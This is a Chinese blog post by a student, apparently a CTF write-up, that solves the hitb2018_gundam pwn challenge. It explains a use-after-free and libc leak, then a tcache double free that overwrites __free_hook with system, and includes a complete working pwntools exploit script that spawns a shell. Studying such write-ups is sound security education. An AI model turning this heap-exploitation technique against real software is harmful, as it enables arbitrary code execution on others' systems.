百航鹿大联训 hitb2018_gundam

好难我靠,太难了。
四个人就我一个是主攻binary的,什么汇编、堆栈、计组一个没学,在人家机房里像个飞舞。
干巴爹。

hitb2018_gundam

纪念一下,人生第一道做出来(呃,复现出来)的Pwn题。人家教练交代的任务说什么也要完成,不能丢了泥航的脸。
这里就把涉及到的一切问题都清楚地阐释一下,为以后也留个底方便查阅。

首先题目给了libc.so.6文件。很多Pwn题都要求特定的libc环境,因为某些漏洞只有在该环境下才能使用。
strings ./libc.so.6 |grep ubuntu,可以查出其对应的版本。

于是在glibc-all-in-one中检索list和old_list,发现这对应old_list中的版本2.26-0ubuntu2.1_amd64,于是要用./download_old 命令把它下载下来。这一步对网络要求比较高。需要开sudo,不然fail,卡在这里超久,憋憋笑笑。
之后利用patchelf替换掉本地环境,脚本如下:

# 替换为你的实际路径
PROGRAM="/mnt/c/users/33091/Desktop/CTF/solve/hitb2018_gundam/gundam"

# 执行关键的替换命令
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.26-0ubuntu2.1_amd64/ld-2.26.so ${PROGRAM}
patchelf --replace-needed libc.so.6 ~/glibc-all-in-one/libs/2.26-0ubuntu2.1_amd64/libc.so.6 ${PROGRAM}

这里千万不要把链接库改坏了,不然挺麻烦的。最好重新下一遍文件吧。


然后分析反编译代码吧。

__int64 sub_B7D()
{
  unsigned int v1; // [rsp+0h] [rbp-20h]
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  char *s; // [rsp+8h] [rbp-18h]
  void *buf; // [rsp+10h] [rbp-10h]

  if ( (unsigned int)dword_20208C <= 8 )
  {
    s = (char *)malloc(0x28uLL);
    memset(s, 0, 0x28uLL);
    buf = malloc(0x100uLL);
    if ( !buf )
    {
      puts("error !");
      exit(-1);
    }
    printf("The name of gundam :");
    read(0, buf, 0x100uLL);
    *((_QWORD *)s + 1) = buf;
    printf("The type of the gundam :");
    __isoc99_scanf();
    if ( v1 >= 3 )
    {
      puts("Invalid.");
      exit(0);
    }
    strcpy(s + 16, &aFreedom[20 * v1]);
    *(_DWORD *)s = 1;
    for ( i = 0; i <= 8; ++i )
    {
      if ( !qword_2020A0[i] )
      {
        qword_2020A0[i] = s;
        break;
      }
    }
    ++dword_20208C;
  }
  return 0LL;
}

WORD是两字节,DWORD是四字节,QWORD是八字节)
可以发现这是一个构造函数,qword_2020A0[i]类似一个函数体指针,姑且称为gundam[i],用malloc分配堆空间。
指向的内容前四字节是0/1标志位,表示gundam[i]是否存活;第八字节开始是一个指向gundam[i].name的指针;十六字节开始是根据gundam[i].type决定的一个字符串。

__int64 sub_EF4()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]

  if ( dword_20208C )
  {
    for ( i = 0; i <= 8; ++i )
    {
      if ( qword_2020A0[i] && *(_DWORD *)qword_2020A0[i] )
      {
        printf("\nGundam[%u] :%s", i, *(const char **)(qword_2020A0[i] + 8LL));
        printf("Type[%u] :%s\n", i, (const char *)(qword_2020A0[i] + 16LL));
      }
    }
  }
  else
  {
    puts("No gundam produced!");
  }
  return 0LL;
}

这是一个查询函数,可以获知当前存活的高达的所有信息,是我们得到泄漏信息的主要接口。

__int64 sub_D32()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]

  if ( dword_20208C )
  {
    printf("Which gundam do you want to Destory:");
    __isoc99_scanf();
    if ( v1 > 8 || !qword_2020A0[v1] )
    {
      puts("Invalid choice");
      return 0LL;
    }
    *(_DWORD *)qword_2020A0[v1] = 0;
    free(*(void **)(qword_2020A0[v1] + 8LL));
  }
  else
  {
    puts("No gundam");
  }
  return 0LL;
}

(destroy打错了,丈育出题人有点难绷)
这个函数会摧毁某个存活的高达,但是“尸体”仍会占位。发现这里name指针被free之后并没有置空,这会造成UAF漏洞,意味着我们可以访问已释放指针的内容。
同时,invalid只检查了是否有“尸体”,并不检查高达是否被摧毁了。这意味着可以多次触发对同一个高达的free。

unsigned __int64 sub_E22()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  for ( i = 0; i <= 8; ++i )
  {
    if ( qword_2020A0[i] && !*(_DWORD *)qword_2020A0[i] )
    {
      free((void *)qword_2020A0[i]);
      qword_2020A0[i] = 0LL;
      --dword_20208C;
    }
  }
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

这是一个重置函数,存活的高达依然保留,而把已摧毁的高达“尸体”移除,避免占位,无法创建新高达。这里只是把gundam[i]置空,仍然没有处理name指针的问题。


考虑利用UAF漏洞泄漏libc基址。
libc2.26引入了tchache机制,free chunk优先进入tcache,相同大小的挂在同一链表上。同一大小的链表至多挂7个,之后的free chunk会正常进入unsorted bin。
此题中name指向的大小都是0x100的。考虑创建9个高达,前7个被摧毁后会挂入tcache,第8个被摧毁后进入unsorted bin。第9个是用来垫背的,如果没有的话,第8个chunk直接与Top chunk相邻,摧毁后可能直接与Top chunk合并了。
unsorted bin中chunk的fd指向下一个chunk,最后一个chunk指向bins[0]bins[0]main_arena中特定区域(bins[1]不是同一个东西!),与main_arena偏移固定,而main_arena与libc基址偏移固定。
此时unsorted bin中只有第8个高达,fd指向bins[0],如果能读出其fd就相当于泄露了libc基址。
编写代码

from pwn import *
context.log_level="debug"
io=process("./gundam")
libc=ELF("./libc.so.6")

def build(name):
    io.sendlineafter("Your choice : ","1")
    io.sendlineafter("gundam :",name)
    io.sendlineafter("The type of the gundam :","1")
def visit():
    io.sendlineafter("choice : ","2")
def destroy(index):
    io.sendlineafter("choice : ","3")
    io.sendlineafter("Destory:",str(index))
def blow():
    io.sendlineafter("choice : ","4")
def exit():
    io.sendlineafter("choice : ","5")

for i in range(9):
    build(b"AAAAAAA")#name随意
    #b"string"表示字符串转字节串,用于二进制通信;一般pwntools会自动转换,不加也行
for i in range(8):
    destroy(i)

这里我们先停一下,测一下本地bins[0]与libc基址的偏移。
ps aux|grep gundam得到gundam的PID,第一个是正在活跃的,然后gdb -p PID把gdb附加上去。

vmmap可以查出libc基址,图中框出来的,[heap]下面的就是。

bins可以查看所有bin的状态,可以看到tcache上挂了7个chunk,unsorted bin挂了一个,紫色的就是bins[0],被两个箭头指着。

算出偏移为0x78e47b7dac78-0x78e47b400000=0x3dac78


太棒了,现在考虑泄露出bins[0],毕竟正式运行的时候bins[0]是会变的。
由于第八个高达已经被摧毁,直接visit是看不到的。先blow一遍清理尸体,然后重新创建八个高达,这会重新依次从tcache和unsorted bin中取出8个chunk。
问题来了,此时第8个chunk的fd存储着bins[0],可我们无论往里面写什么都会导致fd被覆盖,怎么办呢?
这一步很多网上的wp讲的都是错的,困扰了我相当久。
事实上,第一个放进unsorted bin的chunk,其fd和bk都是指向bins[0]的,而这里bk在fd八个字节之后
所以我们根本不需要fd,直接写八个字节覆盖掉fd,后面紧跟着的bk就是bins[0]了。
之后可以动态地算出libc基址,同时也得到__free_hooksystem的地址。
编写代码,有些具体实现问题写在注释里。

offset=0x3dac78
blow()
for i in range(8):
    build(b"AAAAAAA")
    #7个字节,末尾还有一个字节'\n',刚好8个字节
visit()
leak=u64(io.recvuntil(b"Type[7]",drop=True)[-6:].ljust(8,b'\0'))
'''
io.recvuntil(s):接收直到s之前的所有内容
drop=True:s本身不包括在接收内容中(去尾)
[-6:0]:切片最后6个字节。因为二进制文件中地址是小端序,一般高两字节为0x00('\0')
        0x007f2a6813a0接收到就是a013682a7f,后面被截断
        于是取末6字节
ljust(8,b'\0'):左对齐,右边用0x00补满8字节,符合小端序
u64:转换为64位地址,会自动处理小端序编码
'''
libc_addr=leak-offset
free_hook_addr=libc_addr+libc.symbols["__free_hook"]
system_addr=libc_addr+libc.symbols["system"]

接下来思考如何实施攻击。
这个版本的libc下有一个tcache double free漏洞(在glibc-2.28得到修复),恰好本题的destroy并没有考虑这一点。
具体说来,tcache采用单链表头插法,新加入的free chunk会插在链表最前面,把它的fd指向原来的头结点。
然而由于本题free之后没有及时置空,可以再次对这个free chunk进行一次free。本来头结点就是它了,再free一次,后面的链全都断了,它的fd就指向它自己了。

(用一下别人的图,不好意思)
这会导致什么呢。
每次从tcache中申请chunk,会先把tcache->entries[tc_idx]指向该chunk的fd,再对该chunk进行操作。下一次申请到的就是tcache->entries[tc_idx]指向的位置,即该chunk操作前的fd
如果有一个chunk的fd指向自己,我们就可以修改它的fd成任意我们想要的地址,比如__free_hook;下一次申请到的还是这个chunk(虽然根本就不是free chunk),而它的fd是__free_hook;再下一次申请到的就是__free_hook所在的chunk,于是可以对其任意写,改成system
这样,我们成功让__free_hooksystem绑定。只需再destroy一个内容为"/bin/sh\0"的chunk,就对它进行了free,相当于启动了system("/bin/sh")
编写代码

destroy(2)
destroy(1)
destroy(0)
destroy(0)#double free
blow()#因为要再创建三个高达,起码先重置三个高达
build(p64(free_hook_addr))#p64与u64相逆,编码成小端序地址
build(b"/bin/sh\0")#反正第二次申请也无事发生,干脆把fd改成/bin/sh
build(p64(system_addr))#任意写
destroy(1)#此时的gundam[1]和gundam[0]都对应写有/bin/sh的那个头chunk,实测填0或者1都可以
io.interactive()#交互模式,可以手动输入命令,操作shell

再讲讲pwndbg调试。可以在代码里写若干个pause()作为断点。
调试时,想要前往下一个断点,先在源代码终端这边按任意键继续,再在pwndbg中输入c,提示“continuing”,好像卡住了。按ctrl+C即可。
可以输入x/20gx 地址查看某地址内容,p 变量查看变量地址。
注意看__free_hook要用p &__free_hooksystem就直接p system。因为前者是函数指针,有自己的存放地址;后者是函数,本身就是函数的起始地址。


完整代码,貌似buuctf上环境不太一样打不通。我草拟的写了我三天,出一堆神秘bug,吐血了。拿到shell的感觉不亚于阿卡伊摘星。

from pwn import *
context.log_level="debug"
io=process("./gundam")
libc=ELF("./libc.so.6")

def build(name):
    io.sendlineafter("Your choice : ","1")
    io.sendlineafter("gundam :",name)
    io.sendlineafter("The type of the gundam :","1")
def visit():
    io.sendlineafter("choice : ","2")
def destroy(index):
    io.sendlineafter("choice : ","3")
    io.sendlineafter("Destory:",str(index))
def blow():
    io.sendlineafter("choice : ","4")
def exit():
    io.sendlineafter("choice : ","5")

for i in range(9):
    build(b"AAAAAAA")
for i in range(8):
    destroy(i)
offset=0x3dac78
blow()
for i in range(8):
    build(b"AAAAAAA")
visit()
leak=u64(io.recvuntil(b"Type[7]",drop=True)[-6:].ljust(8,b'\0'))
libc_addr=leak-offset
free_hook_addr=libc_addr+libc.symbols["__free_hook"]
system_addr=libc_addr+libc.symbols["system"]
destroy(2)
destroy(1)
destroy(0)
destroy(0)
blow()
build(p64(free_hook_addr))
build(b"/bin/sh\0")
build(p64(system_addr))
destroy(1)
io.interactive()
posted @ 2025-10-28 12:05  Fan_sheng  阅读(5)  评论(0)    收藏  举报